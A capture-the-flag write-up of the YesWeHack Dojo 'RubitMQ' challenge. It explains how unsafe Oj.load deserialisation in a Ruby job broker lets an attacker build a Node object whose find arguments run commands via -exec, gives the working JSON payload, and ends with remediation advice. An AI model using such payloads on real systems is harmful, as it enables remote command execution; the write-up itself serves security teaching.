Skip to content

YesWeHack Dojo 48: RubitMQ

TL;DR

  • Unsafe Oj.load enables object injection.
  • Built-in Node gadget exposes argument-controlled find.
  • find -exec enables command execution.

Description

RubitMQ is a new, advanced message broker that is ideal for queuing jobs to be performed on the same system or remote systems acting as workers. You can easily provide instructions using JSON-based data that also performs user input sanitisation.

Solution

In this writeup, we'll review the latest YesWeHack Dojo challenge, created by Brumens 💜

Follow me on Twitter and LinkedIn (and everywhere else 🔪) for more hacking content! 🥰

Source code review

Starting with the setup code, we see the flag is stored in an environment variable.

setup.rb

require 'fileutils'

# Write flag script file with execute only
ENV["FLAG"] = flag

# Make web app folder structure and add files
FileUtils.mkdir_p '/tmp/app/views'
Dir.chdir('/tmp/app')

# Write the login page
File.write('views/index.html', '
<!DOCTYPE html>
<html lang="en">
  SNIPPED
</html>
')

As usual, most of the logic relevant to the challenge is outside of the setup code. It already came with some comments, but I'll add some indexes ([i]) to highlight the important bits.

app.rb

require "active_record"
require "securerandom"
require "sqlite3"
require "open3"
require "erb"
require "uri"
require "oj"

Dir.chdir('/tmp/app')

# Database setup
ActiveRecord::Schema.verbose = false
ActiveRecord::Base.establish_connection(
  adapter:  "sqlite3",
  database: ":memory:"
)
ActiveRecord::Base.connection.disable_query_cache!
ActiveRecord::Schema.define do
  unless ActiveRecord::Base.connection.table_exists?(:jobs)
    create_table :jobs do |t|
      t.string  :uuid,    null: false, default: SecureRandom.uuid
      t.string  :status,  null: false, default: "queued"
      t.text    :payload, null: false
      t.timestamps
    end
  end
end

class Job < ActiveRecord::Base
end

# Clean up old jobs (if any)
Job.delete_all

class RubitMQ
  def initialize(data)
    @data = data
  end

# [3]
  def run
    if @data.respond_to?(:run_find)
      @data.run_find
    end
  end
end

class JobRunner
  def self.run
    # [2]
    Job.where(status: "queued").find_each do |job|
      data = Oj.load(job.payload)
      RubitMQ.new(data).run()
      job.update!(status: "done")
    end
  end
end

# [4]
class Node
  def initialize(args=[])
    @args = args
  end

  def run_find()
    puts Open3.capture3("find", *@args)
  end
end


payload = URI.decode_www_form_component("USER_INPUT")

# Add the job to the local database
job = Job.create!(status: "queued", payload: payload) # [1]

ActiveRecord::Base.uncached do
  JobRunner.run
end

# Render the given page for our web application
puts ERB.new(IO.read("views/index.html")).result_with_hash({job_name: job.uuid})
  1. Raw user input is inserted to a "job" payload.
  2. Queued jobs are processed synchronously; Oj.load allows object deserialisation (😬).
  3. The deserialised object is passed into RubitMQ without validation and conditionally dispatched.
  4. A convenient gadget is already defined; if we can coerce Oj.load into returning a Node instance, we fully control the arguments passed to find.

Testing functionality

Submitting valid JSON objects works, jobs are created and marked as done, and the dashboard renders normally, e.g.

{ "meow": "ekekek" }

RubitMQ dashboard rendering successfully after processing a benign JSON job payload

There is no visible output channel for command results in the UI, but run_find uses puts, so anything printed to stdout will be included in the response.

Exploit

Oj supports object deserialisation via the ^o key. We can instantiate a Node object and control its constructor arguments.

The goal is to abuse find -exec, since Open3.capture3 does not invoke a shell directly.

This payload creates a Node object whose args trigger command execution:

{ "^o": "Node", "args": [".", "-maxdepth", "0", "-exec", "sh", "-c", "echo $FLAG", ";"] }

When the job runner executes:

  1. Oj.load deserialises the payload into a Node instance.
  2. respond_to?(:run_find) passes.
  3. run_find executes find with attacker-controlled arguments.
  4. find -exec sh -c "echo $FLAG" executes.
  5. The flag is printed via stdout.

Ruby object injection via unsafe Oj.load leading to command execution and flag disclosure

Flag: FLAG{Th4t_J0b_D1d_N07_Go_A5_Exp3ct3d}

Remediation

  • Never use Oj.load on untrusted input; use Oj.safe_load with explicit class allowlists.
  • Do not dispatch methods based on respond_to? for attacker-supplied objects.
  • Avoid exposing command-executing helpers (Open3, system, backticks) to data objects.
  • Treat job payloads as data, not executable objects.

Summary (TLDR)

Unsafe JSON deserialisation allows injecting an existing Ruby object that exposes a find execution gadget. Abusing find -exec leads to command execution, allowing the flag to be retrieved.